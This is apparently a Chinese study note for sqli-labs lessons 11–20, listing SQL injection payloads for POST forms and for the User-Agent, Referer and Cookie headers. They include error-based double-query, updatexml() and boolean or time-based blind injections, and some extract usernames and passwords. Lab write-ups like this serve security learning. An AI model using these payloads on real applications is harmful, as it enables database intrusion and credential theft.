sqli-lab详解——做题笔记11-20

这部分的题目都是通过POST方法注入
less-11 基于报错-单引号字符串
在user或者password栏中输入
1’ or 1=1 #
获取信息:
1’ or 1=1 LIMIT 2,1 #2可换成需要的数字
还可以用盲注的方法获得信息(后面补充)

less-12 基于报错-双引号字符串变式
在user或者password栏中输入
2") or 1=1 #

less-13 双注入-单引号字符串变式
在user或者password栏中输入

a') or 1=2 union select count(*),concat((select version()),floor(rand()*2)) as a from information_schema.tables group by a #

less-14 双注入-双引号字符串
(本题题目名称目录中应该是写错了)
在user或者password栏中输入

a" or 1=2 union select count(*),concat((select version()),floor(rand()*2)) as a from information_schema.tables group by a #

less-15 盲注-布尔型/时间-单引号
在user或者password栏中输入

1' or ascii(mid((select database()),1,1))>64 #布尔注入
1' or if(ascii(substr((select database()),1,1))<115,true,sleep(3)) # #时间盲注

less-16 盲注-布尔型/时间-双引号
在user或者password栏中输入(本题实际上是有括号的)

1") or ascii(mid((select database()),1,1))>64 #布尔注入
1") or if(ascii(substr((select database()),1,1))<115,true,sleep(3)) # #时间盲注

less-17 更新查询-基于报错-字符串
本题是输入用户名和要更改的密码。源代码中对username做了很多限制,所以要从password注入。已知用户名admin(能更改密码成功说明用户名存在)

方法一:双注入

 ' or (SELECT 1 FROM(select count(*),concat('*',(select database()),'*',floor(rand()*2)) as x from information_schema.tables group by x)as a) #

用户名admin要输,密码栏输入上面的代码。
对于dateup、delete和insert通常都是结合or的逻辑判断

方法二:updatexml()函数

uname=admin&passwd='  or updatexml(1,concat('~',(select database()),'~'),0)%23

原理是利用该函数的报错
获取数据:
但是这边却出现了You can’t specify target table ‘users’ for update in FROM clause错误

不能先select出同一表中的某些值,再update这个表(在同一语句中)。

也就是说将select出的结果再通过中间表select套一遍,这样就规避了错误,其实之前在子查询注入中也有用到此方法,同时,还要给多加的一重select赋一个别名

 '  or updatexml(1,concat('~',(select * from(select concat_ws(char(45),id,username,password) from users limit 0,1)as a),'~'),0)%23

方法三:盲注

less-18 包头注入-Uagent-基于报错
user-agent的输入没有过滤,且作为插入值用在了insert语句中,用bp修改user-agent值为

' or updatexml(1,concat(0x3a,database()),1))#

完成把XML报错注入

$  ' or updatexml(1,concat(0x3a,(select table_name from information_schema.tables where table_schema="security" limit 0,1)),1))#  //获取表名
$  ' or updatexml(1,concat(0x3a,(select column_name from information_schema.columns where table_name="user" limit 0,1)),1))#     //获取指定表字段名

less-19 包头注入-referer(来源)-基于报错
这次是修改referer字段,同理

' or updatexml(1,concat(0x3a,database()),1))#

less-20 Cookie注入-用户代理-基于报错
修改cookie字段构造SQL语句

uname=qwe' union select 1,user(),database()-- #

注意结果是显示在下面 id: XXX Password:XXX那部分

你可能感兴趣的:(SQL注入,SQL注入,sqli-lab,入门,习题)